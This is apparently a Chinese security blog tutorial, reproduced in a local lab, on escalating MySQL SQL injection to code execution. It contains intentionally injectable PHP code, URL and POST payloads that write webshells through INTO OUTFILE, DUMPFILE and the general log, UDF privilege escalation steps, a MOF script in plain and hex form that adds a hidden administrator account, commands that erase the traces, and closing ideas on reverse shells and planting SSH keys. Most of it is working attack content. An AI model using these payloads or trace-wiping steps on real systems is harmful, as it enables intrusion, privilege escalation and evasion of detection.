前言

接触安全以来听得最多的就是sql注入,但是一直都没怎么仔细整理过相关的sql注入进阶利用方法,基本局限在注入获取数据库的数据。本文将集中整理复现mysql数据库相关命令执行方法,原理以及提权利用姿势,作者能力有限,如有更多姿势,也欢迎沟通交流。

全文复现环境(基于windows下的docker虚拟环境):

使用到的环境

版本

centos

7.2.1511

宝塔面板

7.5.1

PHP

5.6

MYSQL

5.1.73

windows server

2003

PHP

5.4.45

MYSQL

5.5.53

从基本注入到webshell

php环境代码如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{
	echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl where runoob_id=$id");

if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_title'].":".$row['runoob_author'];
echo "<br>";
 ?>

这个是一个很基本的union联合注入,数据库表的情况如下:

mysql> use 127_0_0_1;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_127_0_0_1 |
+---------------------+
| runoob_tbl          |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from runoob_tbl;
+-----------+--------------+---------------+-----------------+
| runoob_id | runoob_title | runoob_author | submission_date |
+-----------+--------------+---------------+-----------------+
|         1 | Network      | hhh           | NULL            |
+-----------+--------------+---------------+-----------------+
1 row in set (0.00 sec)

secure_file_priv无限制写webshell

前置条件

  • 知道网站的绝对路径
  • 高权限数据库用户(至少宝塔创建的数据库用户无权写操作)
  • load_file() 开启 即 secure_file_priv 无限制
  • 在 MySQL 5.5.3 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
  • 在 MySQL 5.5.3 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
  • 网站路径宽松写入权限(宝塔面板默认755权限无法写入,需要改成777)
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

secure_file_priv 有以下三种情况,改参数可以查询,但不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。

数据值

说明

NULL

不允许导入或导出

/tmp

只允许在 /tmp 目录导入导出


不限制目录

手工验证

这里仅以mysql5.5.3 之前版本来进行测试,满足上述写shell的前置条件之后,可以使用以下payload进行文件写入:

# 判断
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@version,3,4 limit 1,1
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@secure_file_priv,3,4 limit 1,1

# 写文件姿势1~3
http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into outfile '/www/wwwroot/127.0.0.1/_phpinfo.php'#

http://127.0.0.1:8081/sql.php
?id=1%20into outfile '/www/wwwroot/127.0.0.1/2_phpinfo.php' fields terminated by '<? phpinfo(); ?>'#

http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into dumpfile  '/www/wwwroot/127.0.0.1/3_phpinfo.php'#

PS:当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell;拦截了单引号,可以转16进制写入绕过。

# 写入结果1
1	Network	hhh	\N
1	2	3	<? phpinfo(); ?>
# 写入结果2
1<? phpinfo(); ?>Network<? phpinfo(); ?>hhh<? phpinfo(); ?>\N
# 写入结果3
1Networkhhh>·123<? phpinfo(); ?>

outfile和dumpfile的区别

outfile:

  1. 支持多行数据同时导出
  2. 使用union联合查询时,要保证两侧查询的列数相同
  3. 会在换行符制表符后面追加反斜杠
  4. 会在末尾追加换行

dumpfile:

  1. 每次只能导出一行数据
  2. 不会在换行符制表符后面追加反斜杠
  3. 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;into outfile函数也可以写入二进制文件,只是追加的反斜杠会使二进制文件无法生效。如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制。

日志文件写 webshell

前置条件

  • 知道网站的绝对路径
  • Web 文件夹宽松权限可以写入
  • 高权限数据库用户(至少宝塔创建的数据库用户无权set操作)
  • 支持堆叠注入

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell,这个姿势也被用来突破限制。当然,为了支持堆叠注入,我们的php源代码需要修改。

<?php 
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{
    echo "连接到 MySQL 失败: " . mysqli_connect_error();
}

$id=$_GET["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";
 
// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{
    do
    {
        // 存储第一个结果集
        if ($result=mysqli_store_result($con))
        {
            while ($row=mysqli_fetch_row($result))
            {
                printf("%s"."\n",$row[0]);
            }
            mysqli_free_result($result);
        }
    }
    while (mysqli_next_result($con));
}
 
mysqli_close($con);
?>

手工验证

满足上述条件之后,可以通过以下payload进行shell写入:

# 判断
http://127.0.0.1:8081/sql.php?id=1;select @@general_log;--
http://127.0.0.1:8081/sql.php?id=1;select @@general_log_file;--

# 写入姿势
http://127.0.0.1:8081/sql.php
?id=1;set global general_log = "ON";set global general_log_file='/www/wwwroot/127.0.0.1/_phpinfo.php';--
http://127.0.0.1:8081/sql.php
?id=select '<?php phpinfo();?>';--
# 写入结果
/www/server/mysql/libexec/mysqld, Version: 5.1.73-log (Source distribution). started with:
Tcp port: 3306  Unix socket: /tmp/mysql.sock
Time                 Id Command    Argument
		  185 Quit	
210228 19:43:30	  170 Query	select @@general_log_file
210228 19:47:58	  186 Connect	root@localhost on 127_0_0_1
		  186 Query	SELECT runoob_title FROM runoob_tbl where runoob_id = 1;SELECT runoob_author FROM runoob_tbl where runoob_id = select '<?php phpinfo();?>';--
		  186 Quit

非常鸡肋,因为如果目标web服务不是高权限用户,还会显示Access denied;又因为所有者是mysql,权限660,www无法读取。

Mysql Udf提权

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

UDF提权条件

  • mysql < 5.0.67
    导出路径随意
  • 5.0.67 <= mysql < 5.1
    udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql > 5.1
    必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下,才能创建自定义函数

udf提权本质还是需要写入文件,所以所需要的root用户必须要是高权限用户,而且还必须拥有目标文件夹的写入权限。udf其实还是有一些使用场景的,比如:

  • 弱口令/社工登录3306为root权限,但目标机器没web服务,写不了webshell。
  • 找不到web服务的绝对路径,或者无权限写入文件。
  • 注入查到了user的pwd hash值,反解出密码,但是无法远程登陆数据库。

手工提权

动态链接库在sqlmap中即可找到,不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,可以利用 sqlmap 自带的解码工具cloak.py 来解码使用。

# 确定插件目录位置
mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value                              |
+---------------+------------------------------------+
| plugin_dir    | /www/server/mysql/lib/mysql/plugin |
+---------------+------------------------------------+
1 row in set (0.00 sec)

其实udf对于注入的要求也还挺多:

  • 高权限
  • plugin 目录可写且需要 secure_file_priv 无限制(宝塔的mysql root用户也是无权限写入,权限755)
  • GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
  • 堆叠注入

php站点的代码构造如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{
    echo "连接到 MySQL 失败: " . mysqli_connect_error();
}

$id=$_POST["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";
 
// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{
    do
    {
        // 存储第一个结果集
        if ($result=mysqli_store_result($con))
        {
            while ($row=mysqli_fetch_row($result))
            {
                printf("%s"."\n",$row[0]);
            }
            mysqli_free_result($result);
        }
    }
    while (mysqli_next_result($con));
}
 
mysqli_close($con);
?>

满足上述条件之后,可以使用下面的POST类型payload进行提权:

# 查询插件目录
id=1;select @@plugin_dir--

# 写入lib_mysqludf_sys_32.so
id=1;SELECT 0x0000 INTO DUMPFILE '/www/server/mysql/lib/mysql/plugin/udf.so';--

# 后续利用
id=1;CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--
select sys_eval('whoami');

这里很奇怪的是,我一直报错:

ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 0 feature disabled)

基于sqlmap解编码以及msf的so文件都尝试了,还是不可以,此外想到可能是SElinux导致的问题,但是基于docker的centos镜像里面没有开启SElinux。

验证MOF提权使用到的phpstudy环境中(windows server2003,php5.4.45,mysql5.5.53),倒是成功验证了。但是需要手动设置my.ini,配置如下信息,并重启数据库:

secure_file_priv = ''

之后成功验证udf提权,比较简单的也可以使用udf大马,戳这里

mysql 手工注入 流程 mysql sql注入执行命令_mof提权

此外,看到部分文章说可以直接利用system函数,MySQL 5.x中增加了system命令,可以直接执行系统命令

mysql> system whoami;
root

辟谣链接可以点这里:
伪科学:Mysql system()函数提权

MOF提权

MOF提权条件

MOF 提权只在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。本质还是离不开写文件。

MOF提权脚本

MOF脚本参考如下:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

核心语句如下:

ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")";

主要的作用就是添加对应用户密码,并将其设为管理员

手工提权

windows server 2003直接以连接数据库形式进行演示,web端注入同理。上述代码有换行缩进,为了保证完整性,使用十六进制编码后写入,随便找个在线进制转换,转换完成后记得补0x。

mysql > select  0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e657865207573657220737034726b7720707764313233343536202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f727320737034726b77202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile "C:/windows/system32/wbem/mof/test.mof";
Query OK, 1 row affected (0.00 sec)

mysql 手工注入 流程 mysql sql注入执行命令_sql注入_02

清理痕迹

# 停止 winmgmt 服务
C:\Documents and Settings\Administrator>net stop winmgmt
Windows Management Instrumentation 服务正在停止.
Windows Management Instrumentation 服务已成功停止。

# 删除 Repository 文件夹
C:\Documents and Settings\Administrator>rmdir /s /q C:\Windows\system32\wbem\Rep
ository\

# 手动删除 mof 文件
C:\Documents and Settings\Administrator>del C:\Windows\system32\wbem\mof\good\te
st.mof /F /S
删除文件 - C:\Windows\system32\wbem\mof\good\test.mof

# 重新启动服务
C:\Documents and Settings\Administrator>net start winmgmt
Windows Management Instrumentation 服务正在启动 .
Windows Management Instrumentation 服务已经启动成功。

总结

其实上述webshell或者是提权到执行系统命令,其本质都基于能够写文件;基于写文件的思路,其实可以做很多拓展,当然,这些思路我没有去验证,只是提一提自己的想法。比如说:

  • 写入定时计划文件,利用定时任务来反弹shell
  • 写入ssh用户的authorized_keys,从而进行ssh登录
  • 写入钓鱼文件放到目标用户桌面
  • 等等